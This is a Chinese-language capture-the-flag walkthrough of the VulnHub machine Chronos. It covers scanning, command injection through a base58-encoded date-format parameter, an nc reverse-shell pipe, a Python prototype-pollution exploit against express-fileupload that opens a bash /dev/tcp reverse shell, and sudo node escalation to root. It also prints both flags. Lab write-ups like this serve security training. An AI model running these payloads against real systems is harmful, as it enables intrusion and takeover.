vulnhub靶场-Chronos

1、靶机信息

靶机名称:Chronos

靶机难度:中等

虚拟机环境:此靶机推荐使用Virtualbox搭建

目标:取得 2 个 flag + root 权限

靶机地址:https://download.vulnhub.com/chronos/Chronos.ova

kali服务器IP

192.168.137.81

靶机IP

192.168.137.205

2、主机发现

通过使用arp协议对同一网段的靶机进行主机发现,扫描出192.168.137.205为我们目标靶机

arp-scan -l

3、端口扫描

通过使用nmap工具对全端口进行发现,再进行版本扫描,我们发现开放22,80,8000三个端口

nmap -p- 192.168.137.205

nmap -sV -p 22,80,8000 192.168.137.205

4、Web信息收集

4.1 打开80端口Web页面

4.2 查看页面源代码,我们在其中发现一串可疑信息,使用Cyberchef对js进行美化,调用JavaScript Beautify让其变为更直观

var _0x5bdf = [
	'150447srWefj',
	'70lwLrol',
	'1658165LmcNig',
	'open',
	'1260881JUqdKM',
	'10737CrnEEe',
	'2SjTdWC',
	'readyState',
	'responseText',
	'1278676qXleJg',
	'797116soVTES',
	'onreadystatechange',
	'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
	'User-Agent',
	'status',
	'1DYOODT',
	'400909Mbbcfr',
	'Chronos',
	'2QRBPWS',
	'getElementById',
	'innerHTML',
	'date'
];
(function (_0x506b95, _0x817e36) {
	var _0x244260 = _0x432d;
	while (!![]) {
		try {
			var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
			if (_0x35824b === _0x817e36)
				break;
			else
				_0x506b95['push'](_0x506b95['shift']());
		} catch (_0x3fb1dc) {
			_0x506b95['push'](_0x506b95['shift']());
		}
	}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
	return _0x432d = function (_0x5bdf82, _0x432dc8) {
		_0x5bdf82 = _0x5bdf82 - 126;
		var _0x4da6e8 = _0x5bdf[_0x5bdf82];
		return _0x4da6e8;
	}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
	var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
	_0x2beb35[_0x17df92(137)] = function () {
		var _0x146f5d = _0x17df92;
		this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
	}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();

4.3 在页面源代码中发现一串疑似Base编码,'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',使用cyberchef 进行解码

解码前:

4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

使用cyberchef magic功能解码后:

'+Today is %A, %B %d, %Y %H:%M:%S.'

4.4 http://chronos.local:8000 似乎是作者引导我们去访问这个站点,而这台靶机开放了8000端口,我们改一下/etc/hosts文件,重新刷新页面,页面出现了一行日期,这行日期就是4.3解码后的内容,那这边可能是存在一个命令执行

4.5 我们使用burp进行抓包,并修改base58的值,使用CyberChef 进行转换

4.6 burp修改请求,发现命令成功执行

4.7 使用nc进行反弹shell

&& nc 192.168.137.81 8888 | /bin/bash | nc 192.168.137.81 9999

base58编码后:

3Gho48Ayo8ZTkKBJiuZUzjx5XbQLrVocowNVvpHX9LSew4WpvASt4istptg6FQeT7kapen7QxKdVGC5uL75aG

5、本地提权

5.1 本地文件信息收集,发现本机还有一个用户imera

cat /etc/passwd

5.2 在imera目录下,发现user.txt,但我们没有权限访问,那作者的意图很明显,需要我们提权到imera用户或者root用户去打开这个文件

5.3 在/opt/chronos-v2/backend中,发现一个server.js文件,通过搜索,我们发现express fileupload存在一个命令注入漏洞,并且此web服务存在于本机127.0.0.1的8080端口

5.4 使用exp直接利用,取得imera用户权限

项目原文地址:Real-world JS - 1

import requests

cmd = 'bash -c "bash -i &> /dev/tcp/192.168.137.81/9999 0>&1"'

# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
    None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})

# execute command
requests.get('http://127.0.0.1:8080')

5.5 获取第一个flag,在imera用户目录下

byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK

5.6 再次尝试提权到root,我们发现此用户可以无密码以root身份调用node和npm命令

5.7 使用node提权成功

sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'

5.8 拿到最后一个flag,在root目录下

YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值